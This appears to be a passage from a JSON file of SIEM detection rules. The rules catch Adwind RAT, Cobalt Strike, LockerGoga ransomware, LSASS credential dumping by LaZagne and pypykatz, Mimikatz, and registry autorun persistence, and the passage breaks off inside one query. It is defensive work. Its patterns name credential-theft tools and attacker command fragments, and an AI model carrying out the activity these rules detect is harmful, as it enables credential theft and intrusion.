{"description":"Detects javaw.exe in AppData folder as used by Adwind / JRAT Author: Florian Roth, Tom Ueltschi, Jonhnathan Ribeiro, oscd.community. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"1fac1481-2dbc-48b2-9096-753c49b4ec71","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Adwind RAT / JRAT","query":"((process.command_line:*\\\\AppData\\\\Roaming\\\\Oracle* AND process.command_line:*\\\\java* AND process.command_line:*.exe\\ *) OR (process.command_line:*cscript.exe* AND process.command_line:*Retrive* AND process.command_line:*.vbs\\ *))","meta":{"from":"1m"},"severity":"high","tags":["T1059","T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""},{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects Judgement Panda activity as described in Global Threat Report 2019 by Crowdstrike Author: Florian Roth. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"03e2746e-2b31-42f1-ab7a-eb39365b2422","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Judgement Panda Exfil Activity","query":"(process.command_line:*eprod.ldf OR process.command_line:(*\\\\ldifde.exe\\ \\-f\\ \\-n\\ * OR *\\\\7za.exe\\ a\\ 1.7z\\ * OR *\\\\aaaa\\\\procdump64.exe* OR *\\\\aaaa\\\\netsess.exe* OR *\\\\aaaa\\\\7za.exe* OR *copy\\ .\\\\1.7z\\ \\\\* OR *copy\\ \\\\client\\\\c$\\\\aaaa\\\\*) OR process.executable:\"C\\:\\\\Users\\\\Public\\\\7za.exe\")","meta":{"from":"1m"},"severity":"critical","tags":["Credential Access","Lateral Movement","T1003","T1560"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects Kerberos DLL being loaded by an Office Product Author: Antonlovesdnb. License: ","enabled":false,"false_positives":["Alerts on legitimate macro usage as well, will need to filter as appropriate"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"0f95cb8c-acd1-f3eb-4e87-1d6c960b49f3","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Active Directory Kerberos DLL Loaded Via Office Applications","query":"(process.executable:(*\\\\winword.exe OR *\\\\powerpnt.exe OR *\\\\excel.exe OR *\\\\outlook.exe) AND file.path:*\\\\kerberos.dll)","meta":{"from":"1m"},"severity":"high","tags":["T1204"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1204","name":"User Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects keywords that could indicate the use of some PowerShell exploitation framework Author: Florian Roth, Perez Diego (@darkquassar). License: ","enabled":false,"false_positives":["Penetration tests"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"ad1d8067-c496-421f-ab38-2b6fdf192de9","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious PowerShell Keywords","query":"powershell.file.script_block_text:(*System.Reflection.Assembly.Load\\($* OR *\\[System.Reflection.Assembly\\]\\:\\:Load\\($* OR *\\[Reflection.Assembly\\]\\:\\:Load\\($* OR *System.Reflection.AssemblyName* OR *Reflection.Emit.AssemblyBuilderAccess* OR *Runtime.InteropServices.DllImportAttribute* OR *SuspendThread* OR *rundll32* OR *Invoke\\-WMIMethod* OR *http\\:\\/\\/127.0.0.1*)","meta":{"from":"1m"},"severity":"high","tags":["T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement. We can also catch this by system log 7045 () In some SIEM you can catch those events also in HKLM\\System\\ControlSet001\\Services or HKLM\\System\\ControlSet002\\Services, however, this rule is based on a regular sysmon's events. Author: Wojciech Lesicki. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"e6738502-2377-cb6f-487f-ac2bdc9843c4","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"CobaltStrike Service Installations in Registry","query":"((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*HKLM\\\\System\\\\CurrentControlSet\\\\Services*) AND ((winlog.event_data.Details:*ADMIN$* AND winlog.event_data.Details:*.exe*) OR (winlog.event_data.Details:*%COMSPEC%* AND winlog.event_data.Details:*start* AND winlog.event_data.Details:*powershell*)))","meta":{"from":"1m"},"severity":"critical","tags":["Lateral Movement","Privilege Escalation","T1021","T1543","T1569"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1569","name":"System Services","reference":""}]},{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1543","name":"Create or Modify System Process","reference":""}]},{"tactic":{"id":"TA0008","reference":"","name":"Lateral Movement"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1021","name":"Remote Services","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects launch of executable by calling the LaunchApplication function from pcwutl.dll library. Author: Julia Fomina, oscd.community. License: ","enabled":false,"false_positives":["Use of Program Compatibility Troubleshooter Helper"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"9386d78a-7207-4048-9c9f-a93a7c2d1c05","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Code Execution via Pcwutl.dll","query":"(process.executable:*\\\\rundll32.exe AND process.command_line:*pcwutl* AND process.command_line:*LaunchApplication*)","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects loading of essential DLL used by PowerShell, but not by the process powershell.exe. Detects meterpreter's \"load powershell\" extension. Author: Tom Kern, oscd.community, Natalia Shornikova, Tim Shelton. License: ","enabled":false,"false_positives":["Used by some .NET binaries, minimal on user workstation.","Used by Microsoft SQL Server Management Studio"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"a726c529-2fb9-5301-3941-4430a9ca8940","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"In-memory PowerShell","query":"(file.path:(*\\\\System.Management.Automation.Dll OR *\\\\System.Management.Automation.ni.Dll) AND (NOT ((process.executable:(*\\\\powershell.exe OR *\\\\powershell_ise.exe OR *\\\\WINDOWS\\\\System32\\\\sdiagnhost.exe OR *\\\\mscorsvw.exe OR *\\\\WINDOWS\\\\System32\\\\RemoteFXvGPUDisablement.exe OR *\\\\sqlps.exe OR *\\\\wsmprovhost.exe OR *\\\\winrshost.exe OR *\\\\syncappvpublishingserver.exe OR *\\\\runscripthelper.exe OR *\\\\ServerManager.exe OR *\\\\Microsoft\\ SQL\\ Server\\ Management\\ Studio\\ *\\\\Common*\\\\IDE\\\\Ssms.exe OR *\\\\IDE\\\\devenv.exe OR *\\\\ServiceHub.VSDetouredHost.exe OR *\\\\ServiceHub.SettingsHost.exe OR *\\\\ServiceHub.Host.CLR.x86.exe OR *\\\\Citrix\\\\ConfigSync\\\\ConfigSyncRun.exe) OR process.executable:(C\\:\\\\Program\\ Files\\ \$x86\$\\\\Microsoft\\ Visual\\ Studio\\\\* OR C\\:\\\\Program\\ Files\\\\Microsoft\\ Visual\\ Studio\\\\*)) OR (process.executable:C\\:\\\\Windows\\\\Temp\\\\asgard2\\-agent\\\\* AND process.executable:(*\\\\thor64.exe OR *\\\\thor.exe)))))","meta":{"from":"1m"},"severity":"medium","tags":["T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects Loading of samlib.dll, WinSCard.dll from untypical process e.g. through process hollowing by Mimikatz Author: Markus Neis. License: ","enabled":false,"false_positives":["Very likely, needs more tuning"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"3b68c012-db10-7601-7813-dd64ebbc1371","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Possible Process Hollowing Image Loading","query":"(process.executable:*\\\\notepad.exe AND file.path:(*\\\\samlib.dll OR *\\\\WinSCard.dll))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1574"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1574","name":"Hijack Execution Flow","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects LockerGoga Ransomware command line. Author: Vasiliy Burov, oscd.community. License: ","enabled":false,"false_positives":["Unlikely"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"74db3488-fd28-480a-95aa-b7af626de068","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"LockerGoga Ransomware","query":"process.command_line:*\\-i\\ SM\\-tgytutrc\\ \\-s*","meta":{"from":"1m"},"severity":"critical","tags":["T1486"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0034","reference":"","name":"Impact"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1486","name":"Data Encrypted for Impact","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects LSASS process access by LaZagne for credential dumping. Author: Bhabesh Raj, Jonhnathan Ribeiro. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"be74679c-dada-0517-788a-64cfd1e5b041","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Credential Dumping by LaZagne","query":"(winlog.event_data.TargetImage:*\\\\lsass.exe AND winlog.event_data.CallTrace:*C\\:\\\\Windows\\\\SYSTEM32\\\\ntdll.dll\\+* AND winlog.event_data.CallTrace:*|C\\:\\\\Windows\\\\System32\\\\KERNELBASE.dll\\+* AND winlog.event_data.CallTrace:*_ctypes.pyd\\+* AND winlog.event_data.CallTrace:*python27.dll\\+* AND winlog.event_data.GrantedAccess:\"0x1FFFFF\")","meta":{"from":"1m"},"severity":"critical","tags":["Credential Access","T1003"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects LSASS process access by pypykatz for credential dumping. Author: Bhabesh Raj. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"649d688f-ecf1-14f4-0e8a-5f4d96cb44e4","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Credential Dumping by Pypykatz","query":"(winlog.event_data.TargetImage:*\\\\lsass.exe AND winlog.event_data.CallTrace:*C\\:\\\\Windows\\\\SYSTEM32\\\\ntdll.dll\\+* AND winlog.event_data.CallTrace:*C\\:\\\\Windows\\\\System32\\\\KERNELBASE.dll\\+* AND winlog.event_data.CallTrace:*libffi\\-7.dll* AND winlog.event_data.CallTrace:*_ctypes.pyd\\+* AND winlog.event_data.CallTrace:*python3*.dll\\+* AND winlog.event_data.GrantedAccess:\"0x1FFFFF\")","meta":{"from":"1m"},"severity":"critical","tags":["Credential Access","T1003"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects macOS Gatekeeper bypass via xattr utility Author: Daniil Yugoslavskiy, oscd.community. License: ","enabled":false,"false_positives":["Legitimate activities"],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"f5141b6d-9f42-41c6-a7bf-2a780678b29b","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Gatekeeper Bypass via Xattr","query":"(process.executable:*\\/xattr AND process.command_line:*\\-r* AND process.command_line:*com.apple.quarantine*)","meta":{"from":"1m"},"severity":"low","tags":["Defense Evasion","T1553"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1553","name":"Subvert Trust Controls","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects manual service execution (start) via system utilities. Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community. License: ","enabled":false,"false_positives":["Legitimate administrator or user executes a service for legitimate reasons."],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"2a072a96-a086-49fa-bcb5-15cc5a619093","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Service Execution","query":"(process.executable:(*\\\\net.exe OR *\\\\net1.exe) AND process.command_line:*\\ start\\ *)","meta":{"from":"1m"},"severity":"low","tags":["T1569"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1569","name":"System Services","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects Mimikatz MemSSP default log file creation Author: David ANDRE. License: ","enabled":false,"false_positives":["Unlikely"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"6435ef86-7dc0-d844-dde9-4ebf3dce864e","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Mimikatz MemSSP Default Log File Creation","query":"file.path:*mimilsa.log","meta":{"from":"1m"},"severity":"critical","tags":["Credential Access","T1003"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects MMC20.Application Lateral Movement; specifically looks for the spawning of the parent MMC.exe with a command line of \"-Embedding\" as a child of svchost.exe Author: @2xxeformyshirt (Security Risk Advisors) - rule; Teymur Kheirkhabarov (idea). License: ","enabled":false,"false_positives":["Unlikely"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"f1f3bf22-deb2-418d-8cce-e1a45e46a5bd","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"MMC20 Lateral Movement","query":"(process.parent.executable:*\\\\svchost.exe AND process.executable:*\\\\mmc.exe AND process.command_line:*\\-Embedding*)","meta":{"from":"1m"},"severity":"high","tags":["T1021"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects modification of an existing service on a compromised host in order to execute an arbitrary payload when the service is started or killed as a method of persistence. Author: Sreeman. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"38879043-7e1e-47a9-8d46-6bec88e201df","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Modification Of Existing Services For Persistence","query":"(process.command_line:/(?i)sc config.*binpath=.*/ OR process.command_line:/(?i)sc failure.*command=.*/ OR process.command_line:/(?i).*reg add.*(FailureCommand|ImagePath).*(\\.sh|\\.exe|\\.dll|\\.bin$|\\.bat|\\.cmd|\\.js|\\.msh$|\\.reg$|\\.scr|\\.ps|\\.vb|\\.jar|\\.pl).*/)","meta":{"from":"1m"},"severity":"medium","tags":["T1543","T1574"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1543","name":"Create or Modify System Process","reference":""},{"id":"T1574","name":"Hijack Execution Flow","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects modification of autostart extensibility point (ASEP) in registry. Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split), wagga (name). License: ","enabled":false,"false_positives":["Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason","Legitimate administrator sets up autorun keys for legitimate reason"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"8b739e2b-c0d8-ca92-913a-6f644cd9ece3","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Common Autorun Keys Modification","query":"((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:(*\\\\SOFTWARE\\\\Wow6432Node\\\\Microsoft\\\\Windows\\ CE\\ Services\\\\AutoStart* OR *\\\\Software\\\\Wow6432Node\\\\Microsoft\\\\Command\\ Processor\\\\Autorun* OR *\\\\SOFTWARE\\\\Wow6432Node\\\\Microsoft\\\\Active\\ Setup\\\\Installed\\ Components* OR *\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ CE\\ Services\\\\AutoStartOnDisconnect* OR *\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ CE\\ Services\\\\AutoStartOnConnect* OR *\\\\SYSTEM\\\\Setup\\\\CmdLine* OR *\\\\Software\\\\Microsoft\\\\Ctf\\\\LangBarAddin* OR *\\\\Software\\\\Microsoft\\\\Command\\ Processor\\\\Autorun* OR *\\\\SOFTWARE\\\\Microsoft\\\\Active\\ Setup\\\\Installed\\ Components* OR *\\\\SOFTWARE\\\\Classes\\\\Protocols\\\\Handler* OR *\\\\SOFTWARE\\\\Classes\\\\Protocols\\\\Filter* OR *\\\\SOFTWARE\\\\Classes\\\\Htmlfile\\\\Shell\\\\Open\\\\Command\\\\\$Default\$* OR *\\\\Environment\\\\UserInitMprLogonScript* OR *\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\Control\\ Panel\\\\Desktop\\\\Scrnsave.exe* OR *\\\\Software\\\\Microsoft\\\\Internet\\ Explorer\\\\UrlSearchHooks* OR *\\\\SOFTWARE\\\\Microsoft\\\\Internet\\ Explorer\\\\Desktop\\\\Components* OR *\\\\Software\\\\Classes\\\\Clsid\\\\\\{AB8902B4\\-09CA\\-4bb6\\-B78D\\-A8F59079A8D5\\}\\\\Inprocserver32* OR *\\\\Control\\ Panel\\\\Desktop\\\\Scrnsave.exe*)) AND (NOT ((winlog.event_data.Details:\"\$Empty\$\") OR (winlog.event_data.TargetObject:(*\\\\Office\\\\ClickToRun\\\\REGISTRY\\\\MACHINE\\\\Software\\\\Classes\\\\PROTOCOLS\\\\Handler\\\\* OR *\\\\ClickToRunStore\\\\HKMU\\\\SOFTWARE\\\\Classes\\\\PROTOCOLS\\\\Handler\\\\*) OR winlog.event_data.Details:(\"\\{314111c7\\-a502\\-11d2\\-bbca\\-00c04f8ec294\\}\" OR \"\\{3459B272\\-CC19\\-4448\\-86C9\\-DDC3B4B2FAD3\\}\" OR \"\\{42089D2D\\-912D\\-4018\\-9087\\-2B87803E93FB\\}\" OR \"\\{5504BE45\\-A83B\\-4808\\-900A\\-3A5C36E7F77A\\}\" OR \"\\{807583E5\\-5146\\-11D5\\-A672\\-00B0D022E945\\}\")) OR (winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Active\\ Setup\\\\Installed\\ Components\\\\\\{8A69D345\\-D564\\-463c\\-AFF1\\-A69D9E530F96\\}\\\\*) OR (process.executable:(\"C\\:\\\\Windows\\\\System32\\\\poqexec.exe\" OR \"C\\:\\\\Program\\ Files\\ \$x86\$\\\\Microsoft\\ Office\\\\root\\\\integration\\\\integrator.exe\")) OR (process.executable:(C\\:\\\\Program\\ Files\\\\Common\\ Files\\\\Microsoft\\ Shared\\\\ClickToRun\\\\* OR C\\:\\\\Program\\ Files\\\\Common\\ Files\\\\Microsoft\\ Shared\\\\ClickToRun\\\\Updates\\\\*) AND process.executable:*\\\\OfficeClickToRun.exe))))","meta":{"from":"1m"},"severity":"medium","tags":["T1547"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1547","name":"Boot or Logon Autostart Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects modification of autostart extensibility point (ASEP) in registry. Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split), wagga (name). License: ","enabled":false,"false_positives":["Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason","Legitimate administrator sets up autorun keys for legitimate reason"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"8b739e2b-c0d8-ca92-913a-6f644cd9ece3","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Common Autorun Keys Modification","query":"((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:(*\\\\SOFTWARE\\\\Wow6432Node\\\\Microsoft\\\\Windows\\ CE\\ Services\\\\AutoStart* OR *\\\\Software\\\\Wow6432Node\\\\Microsoft\\\\Command\\ Processor\\\\Autorun* OR *\\\\SOFTWARE\\\\Wow6432Node\\\\Microsoft\\\\Active\\ Setup\\\\Installed\\ Components* OR *\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ CE\\ Services\\\\AutoStartOnDisconnect* OR *\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ CE\\ Services\\\\AutoStartOnConnect* OR *\\\\SYSTEM\\\\Setup\\\\CmdLine* OR *\\\\Software\\\\Microsoft\\\\Ctf\\\\LangBarAddin* OR *\\\\Software\\\\Microsoft\\\\Command\\ Processor\\\\Autorun* OR *\\\\SOFTWARE\\\\Microsoft\\\\Active\\ Setup\\\\Installed\\ Components* OR *\\\\SOFTWARE\\\\Classes\\\\Protocols\\\\Handler* OR *\\\\SOFTWARE\\\\Classes\\\\Protocols\\\\Filter* OR *\\\\SOFTWARE\\\\Classes\\\\Htmlfile\\\\Shell\\\\Open\\\\Command\\\\\$Default\$* OR *\\\\Environment\\\\UserInitMprLogonScript* OR *\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\Control\\ Panel\\\\Desktop\\\\Scrnsave.exe* OR *\\\\Software\\\\Microsoft\\\\Internet\\ Explorer\\\\UrlSearchHooks* OR *\\\\SOFTWARE\\\\Microsoft\\\\Internet\\ Explorer\\\\Desktop\\\\Components* OR *\\\\Software\\\\Classes\\\\Clsid\\\\\\{AB8902B4\\-09CA\\-4bb6\\-B78D\\-A8F59079A8D5\\}\\\\Inprocserver32* OR *\\\\Control\\ Panel\\\\Desktop\\\\Scrnsave.exe*)) AND (NOT ((winlog.event_data.Details:\"\$Empty\$\") OR (winlog.event_data.TargetObject:(*\\\\Office\\\\ClickToRun\\\\REGISTRY\\\\MACHINE\\\\Software\\\\Classes\\\\PROTOCOLS\\\\Handler\\\\* OR *\\\\ClickToRunStore\\\\HKMU\\\\SOFTWARE\\\\Classes\\\\PROTOCOLS\\\\Handler\\\\*) OR winlog.event_data.Details:(\"\\{314111c7\\-a502\\-11d2\\-bbca\\-00c04f8ec294\\}\" OR \"\\{3459B272\\-CC19\\-4448\\-86C9\\-DDC3B4B2FAD3\\}\" OR \"\\{42089D2D\\-912D\\-4018\\-9087\\-2B87803E93FB\\}\" OR \"\\{5504BE45\\-A83B\\-4808\\-900A\\-3A5C36E7F77A\\}\" OR \"\\{807583E5\\-5146\\-11D5\\-A672\\-00B0D022E945\\}\")) OR (winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Active\\ Setup\\\\Installed\\ Components\\\\\\{8A69D345\\-D564\\-463c\\-AFF1\\-A69D9E530F96\\}\\\\*))))","meta":{"from":"1m"},"severity":"medium","tags":["T1547"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1547","name":"Boot or Logon Autostart Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects modification of autostart extensibility point (ASEP) in registry. Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split). License: ","enabled":false,"false_positives":["Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason","Legitimate administrator sets up autorun keys for legitimate reason"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"d326c13c-5ae7-9aaa-63a4-1714130e285b","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"CurrentVersion Autorun Keys Modification","query":"((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion* AND winlog.event_data.TargetObject:(*\\\\ShellServiceObjectDelayLoad* OR *\\\\Run\\\\* OR *\\\\RunOnce\\\\* OR *\\\\Policies\\\\System\\\\Shell* OR *\\\\Policies\\\\Explorer\\\\Run* OR *\\\\Group\\ Policy\\\\Scripts\\\\Startup* OR *\\\\Group\\ Policy\\\\Scripts\\\\Shutdown* OR *\\\\Group\\ Policy\\\\Scripts\\\\Logon* OR *\\\\Group\\ Policy\\\\Scripts\\\\Logoff* OR *\\\\Explorer\\\\ShellServiceObjects* OR *\\\\Explorer\\\\ShellIconOverlayIdentifiers* OR *\\\\Explorer\\\\ShellExecuteHooks* OR *\\\\Explorer\\\\SharedTaskScheduler* OR *\\\\Explorer\\\\Browser\\ Helper\\ Objects* OR *\\\\Authentication\\\\PLAP\\ Providers* OR *\\\\Authentication\\\\Credential\\ Providers* OR *\\\\Authentication\\\\Credential\\ Provider\\ Filters*)) AND (NOT ((winlog.event_data.Details:\"\$Empty\$\" OR winlog.event_data.TargetObject:*\\\\NgcFirst\\\\ConsecutiveSwitchCount OR process.executable:(*\\\\AppData\\\\Local\\\\Microsoft\\\\OneDrive\\\\Update\\\\OneDriveSetup.exe OR *\\\\AppData\\\\Roaming\\\\Spotify\\\\Spotify.exe) OR process.executable:(\"C\\:\\\\WINDOWS\\\\system32\\\\devicecensus.exe\" OR \"C\\:\\\\Program\\ Files\\\\Microsoft\\ OneDrive\\\\StandaloneUpdater\\\\OneDriveSetup.exe\" OR \"C\\:\\\\Program\\ Files\\\\KeePass\\ Password\\ Safe\\ 2\\\\ShInstUtil.exe\" OR \"C\\:\\\\Program\\ Files\\\\Everything\\\\Everything.exe\" OR \"C\\:\\\\Program\\ Files\\ \$x86\$\\\\Microsoft\\ Office\\\\root\\\\integration\\\\integrator.exe\")) OR (process.executable:(C\\:\\\\Program\\ Files\\ \$x86\$\\\\Microsoft\\\\EdgeUpdate\\\\Install\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\Microsoft\\\\EdgeWebView\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\Microsoft\\\\Edge\\\\Application\\\\msedge.exe*)) OR (process.executable:\"C\\:\\\\Windows\\\\system32\\\\regsvr32.exe\" AND winlog.event_data.TargetObject:*DropboxExt* AND winlog.event_data.Details:*A251\\-47B7\\-93E1\\-CDD82E34AF8B\\}) OR (winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\Opera\\ Browser\\ Assistant AND winlog.event_data.Details:\"C\\:\\\\Program\\ Files\\\\Opera\\\\assistant\\\\browser_assistant.exe\") OR (winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\iTunesHelper AND winlog.event_data.Details:\"\\\"C\\:\\\\Program\\ Files\\\\iTunes\\\\iTunesHelper.exe\\\"\") OR (winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\zoommsirepair AND winlog.event_data.Details:\"\\\"C\\:\\\\Program\\ Files\\\\Zoom\\\\bin\\\\installer.exe\\\"\\ \\/repair\") OR (winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\Greenshot AND winlog.event_data.Details:\"C\\:\\\\Program\\ Files\\\\Greenshot\\\\Greenshot.exe\") OR (winlog.event_data.TargetObject:*\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\GoogleDriveFS AND winlog.event_data.Details:C\\:\\\\Program\\ Files\\\\Google\\\\Drive\\ File\\ Stream\\\\* AND winlog.event_data.Details:*\\\\GoogleDriveFS.exe\\ \\-\\-startup_mode) OR 